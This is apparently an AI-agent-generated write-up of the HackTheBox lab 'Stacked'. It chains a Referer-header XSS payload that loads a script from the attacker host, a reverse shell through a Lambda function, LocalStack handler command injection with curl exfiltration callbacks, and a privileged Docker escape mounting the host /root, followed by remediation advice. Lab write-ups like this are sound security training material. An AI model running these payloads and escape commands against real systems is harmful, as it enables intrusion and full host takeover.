Multi-layered attack chain exploiting stored XSS via HTTP Referer header, LocalStack Lambda command injection, Docker socket abuse, and privileged container escape to full host compromise.
This engagement targeted HackTheBox "Stacked", an Insane-difficulty Linux machine featuring an Apache web application with virtual host routing, a LocalStack (AWS emulator) instance running in Docker with Lambda serverless functionality, an internal mail system with an admin bot, and a Docker API exposed on port 2376 with mutual TLS authentication.
The attack chain began with discovery of a contact form vulnerable to stored XSS via the unfiltered HTTP Referer header. An admin bot reviewing submissions executed attacker-controlled JavaScript, which exfiltrated internal mail content revealing the LocalStack configuration. Node.js Lambda functions were created and invoked through XSS-proxied API calls, yielding a reverse shell for user access. Root was achieved through a command injection vulnerability in LocalStack's Lambda handler parameter, followed by Docker socket abuse to mount the host filesystem from a privileged container.
Scope limited to 10.129.228.28 in HackTheBox lab environment. CyberAgents v2 framework with 58 autonomous agents orchestrated by an AttackTreePlanner with StrategicDecisionService. Claude Opus 4.6 as External AI Advisor providing real-time intelligence via ExternalAI.txt.
Hostnames in scope: stacked.htb, portfolio.stacked.htb, mail.stacked.htb, s3-testing.stacked.htb
Tools used: CyberAgents framework, Nmap, WhatWeb, Ffuf, custom JavaScript XSS payloads, AWS CLI, curl, Docker CLI, and base64-encoded callback exfiltration chains.
From Referer XSS to full host compromise in 16 steps.
Nmap TCP scan reveals ports 22 (SSH), 80 (HTTP/Apache 2.4.41), and 2376 (Docker API with mutual TLS). The Docker port hints at container infrastructure.
WhatWeb identifies Apache 2.4.41 (Ubuntu) and a 302 redirect to stacked.htb. The main domain serves a "Coming Soon" placeholder page.
Ffuf discovers portfolio.stacked.htb (30,268 bytes vs. 282-byte default). The portfolio site belongs to a LocalStack development firm and hosts a contact form and a publicly downloadable docker-compose.yml.
Contact form fields (fullname, email, subject, message) implement a server-side blacklist blocking <script>, event handlers, and most dangerous tags. The HTTP Referer header is completely unfiltered.
A <script src="http://LHOST/exploit.js"> payload injected into the Referer header is stored and rendered when the admin bot reviews submissions in the internal mail application at mail.stacked.htb.
The admin bot checks new submissions every 2–4 minutes, triggering the XSS payload. JavaScript executes in the context of mail.stacked.htb with full access to internal resources.
exploit.js iterates mail entries via XMLHttpRequest to read-mail.php?id=N, exfiltrating internal mail content that reveals s3-testing.stacked.htb and confirms Node.js-only Lambda runtime support.
s3-testing.stacked.htb is externally accessible. An S3 bucket is created with dummy AWS credentials and a Node.js Lambda ZIP containing a reverse shell is uploaded.
The Lambda API (localhost:4566) is only accessible internally. A second XSS payload proxies Lambda create/invoke API calls through the admin's browser, using proper AWS Authorization headers for service routing.
Lambda function invoked via XSS-proxied POST to localhost:4566. Reverse shell connects from Lambda sandbox container (172.17.0.3) to attacker's listener on port 9001.
Shell in Lambda sandbox container. User flag retrieved from /home/localstack/user.txt: 708180cbea4…
LocalStack 0.12.6 lambda_executors.py interpolates the Handler field into a docker create command with '"%s"' % handler — no shell escaping. Handler set to " ; COMMAND ; echo " breaks out of double quotes.
Handler injection executes arbitrary commands as uid=0 inside the LocalStack main container (647dcb4b149d, 172.17.0.2). Docker CLI confirmed present at /usr/local/bin/docker.
The Docker daemon is accessible from within the container. A new privileged container is launched using the locally cached lambci/lambda:nodejs12.x image with the host /root directory mounted.
docker run --privileged --user root -v /root:/mnt mounts the host's /root into the container. The root flag is read directly from /mnt/root.txt.
Full host compromise. Root flag retrieved: 3fa28c14d04…
Three ports open — SSH, HTTP, and notably port 2376 (Docker API with mutual TLS). The Docker API SSL certificate revealed CN=stacked with SANs including DNS:localhost, DNS:stacked, and multiple IP entries, confirming a containerized environment. The main stacked.htb domain served a static "Coming Soon" page, providing no direct attack surface.
Vhost fuzzing with Ffuf successfully discovered portfolio.stacked.htb, serving a full website for a LocalStack development consultancy. A key artifact was the downloadable docker-compose.yml which disclosed: LocalStack 0.12.6 (a version with known CVEs), all ports bound to 127.0.0.1 (no direct external access), Docker socket mounted inside the container, and serverless (Lambda) services enabled.
This intelligence shaped the entire subsequent attack strategy — the docker-compose.yml revealed both the internal architecture and the version fingerprint needed to identify applicable CVEs.
The contact form at portfolio.stacked.htb/process.php implemented a server-side XSS blacklist that blocked all high-risk tags and event handlers in form fields. After 50+ minutes of testing form field payloads, the External AI Advisor identified the critical gap: the HTTP Referer header was passed to the backend entirely unfiltered.
The Referer value was stored alongside the form submission and rendered unescaped when the admin bot reviewed it via the internal mail application at mail.stacked.htb. The admin bot polled for new submissions every 2–4 minutes, providing a reliable trigger window.
The initial exploit.js exfiltrated mail content by iterating read-mail.php?id=N. The first mail entry disclosed the key intelligence: s3-testing.stacked.htb as the externally accessible LocalStack S3 endpoint, and the constraint that only Node.js Lambda runtimes were supported.
This XSS-as-proxy technique was used throughout the engagement — with 26 iterations of exploit.js payloads progressively performing S3 operations, Lambda creation, and Lambda invocation, all proxied through the admin's browser as the only path to reach the internal LocalStack API.
With the S3 endpoint externally accessible and the Lambda API reachable only via internal proxy (XSS), exploitation required a two-channel approach: direct S3 operations from the attacker machine, and Lambda API calls proxied through the admin's XSS-compromised browser.
A critical discovery was that LocalStack requires proper AWS Authorization headers with the correct service name to route requests internally. Without a valid lambda service in the Authorization header, requests were silently routed to S3. The exploit.js payload included a fabricated AWS4-HMAC-SHA256 Authorization header specifying the lambda service.
The Node.js Lambda function executed a reverse shell back to the attacker's listener on port 9001. The shell landed in a Lambda sandbox container (172.17.0.3), separate from the main LocalStack container (172.17.0.2). User flag retrieved from /home/localstack/user.txt: 708180cbea4…
Analysis of LocalStack 0.12.6 source code (localstack/services/awslambda/lambda_executors.py) revealed that the Lambda Handler field was interpolated into a shell command using Python string formatting without any shell escaping:
Setting the Lambda handler to " ; COMMAND ; echo " breaks out of the double-quote enclosure. Each injected command executed in the LocalStack main container (172.17.0.2) as uid=0 (root). Since the Lambda container had no interactive shell, exfiltration was performed via sequential curl callbacks with base64-encoded command output — one command per Lambda invocation cycle.
The LocalStack container had the Docker CLI installed and the Docker daemon accessible. Several image/flag combinations were tested before finding the working configuration — Alpine was unavailable (no internet), the localstack image had volume conflicts, and lambci without --user root lacked permissions. The successful command:
Root flag retrieved: 3fa28c14d04…
| Finding | Severity | Description |
|---|---|---|
| Stored XSS via Referer Header | Critical | HTTP Referer header stored and rendered unescaped, providing JavaScript execution in admin browser context with access to internal services. |
| Lambda Handler Command Injection | Critical | Handler parameter interpolated into docker create shell command without escaping. Enables root code execution in LocalStack container. |
| Docker Socket Exposed Inside Container | Critical | Docker daemon accessible from LocalStack container allows privileged container creation with host filesystem mounts. |
| CVE-2021-32090 (LocalStack 0.12.6) | Critical | Dashboard command injection via functionName interpolation. CVSS 9.8. |
| Unfiltered S3 Access (s3-testing.stacked.htb) | High | External access to LocalStack S3 with no authentication allows arbitrary Lambda code deployment. |
| Docker API on Port 2376 (external) | Medium | Docker API externally exposed. Mitigated by mutual TLS requirement but represents unnecessary attack surface. |
| CVE-2021-32091 (LocalStack 0.12.6) | Medium | Stored XSS in LocalStack dashboard via unsanitized resource names. CVSS 6.1. |
50+ minutes were spent testing XSS in form fields before identifying the unfiltered Referer header. Web application XSS filters often focus on form data while leaving HTTP headers unchecked — a critical asymmetry.
The most complex aspect was using XSS not just for data theft but as a full API proxy. 26 exploit.js iterations were required to perform multi-step API operations — Lambda creation, invocation, and handler injection — all through a browser intermediary.
LocalStack routes requests to different services based on the service name in the AWS Authorization header. Without a valid "lambda" service identifier, all requests went to S3. This undocumented behavior required live testing to discover.
Initial handler injection attempts used $() subshell syntax inside existing double quotes, which failed. The working vector was a literal double-quote character to break out of the quoting entirely — a subtler form of the injection.
No interactive shell was available in the LocalStack main container. All post-exploitation enumeration was performed through sequential curl callbacks with base64-encoded output — one command per Lambda invocation, requiring careful sequencing.
Docker escape required using locally cached images only — no internet access. Alpine was unavailable; the working escape used the already-present lambci/lambda:nodejs12.x image with --privileged --user root flags after testing multiple failing configurations.
Apply the same XSS filtering to HTTP headers (Referer, User-Agent, X-Forwarded-For) as to form field values. Implement a Content Security Policy (CSP) to prevent inline script execution even if sanitization fails.
Upgrade from 0.12.6 to the latest version to patch CVE-2021-32090 (dashboard command injection, CVSS 9.8), CVE-2021-32091 (stored XSS), and the handler command injection in lambda_executors.py.
Do not mount /var/run/docker.sock inside containers. Use rootless Docker or Docker-in-Docker with proper isolation instead. The socket mount allowed full Docker daemon control from a compromised container.
Apply shlex.quote() or equivalent to all user-supplied parameters interpolated into shell commands, particularly Handler, Runtime, and FunctionName fields in lambda_executors.py.
s3-testing.stacked.htb should not be publicly accessible. Require authentication for all S3 operations, and bind LocalStack ports only to 127.0.0.1 (as intended in docker-compose.yml) rather than any accessible interface.
The Docker API on port 2376 should not be externally exposed. Apply firewall rules to restrict access to trusted management networks only.
Isolate the LocalStack development environment from production networks. The admin mail system should not share the same browser context as internal service access, preventing XSS-to-internal-API pivoting.
Run containers with minimal privileges (--user nonroot), read-only filesystems where possible, and drop all unnecessary Linux capabilities. Prevent privileged container creation from within the container network.
Agent contribution and effectiveness during the Stacked engagement.
Effective — Discovered the critical port 2376 (Docker mTLS) in addition to standard ports 22 and 80. The Docker port discovery immediately signaled a containerized environment.
Effective — Identified Apache 2.4.41 (Ubuntu) and the hostname redirect behavior. Technology fingerprinting aided CVE research.
Critical contribution — Successfully discovered portfolio.stacked.htb via vhost fuzzing, which was the entry point for the entire attack chain. Vhost fuzzing succeeded here (unlike Skyfall's wildcard configuration).
Workhorse — Executed AWS CLI operations, managed HTTP callback listeners, decoded base64 exfiltration data, and handled the complete Docker escape chain.
After 50+ minutes of fruitless form-field XSS testing, identified the Referer header as an unfiltered attack vector. This insight unlocked the entire attack chain — without it the machine would have been stuck at reconnaissance.
Designed and iterated 26 versions of exploit.js, progressively implementing mail exfiltration, Lambda API creation, invocation, and handler injection — all proxied through the admin browser's XSS context.
Identified that LocalStack requires a service-specific Authorization header (specifying "lambda") for internal routing. Requests without this header were silently routed to S3, causing Lambda operations to fail silently.
Researched CVE-2021-32090, CVE-2021-32091, and the undocumented handler injection in lambda_executors.py by analyzing the LocalStack GitHub source at the exact 0.12.6 version tag.
Designed the sequential curl-callback exfiltration chain for operating without an interactive shell in the LocalStack main container. Each Lambda invocation performed one enumeration step, with base64-encoded output sent to the attacker's HTTP server.
Tested and identified the correct docker run flags after multiple failed attempts (Alpine unavailable, localstack image volume conflict, lambci without --user root lacked permissions). Determined that lambci/lambda:nodejs12.x with --privileged --user root was the working combination.
| Component | Rating | Notes |
|---|---|---|
| NmapAgent | Effective | Discovered Docker API port 2376, signaling container infrastructure. |
| FfufAgent | Critical | Discovered portfolio.stacked.htb — the entry point for the entire chain. |
| ToolForgeAgent | Workhorse | Handled AWS CLI ops, callback listeners, base64 decoding, Docker escape. |
| External AI Advisor | Essential | Identified Referer XSS vector, engineered 26 exploit.js payloads, designed full Docker escape path. |
| Overall Engagement | Success | Full compromise. User + Root flags captured. |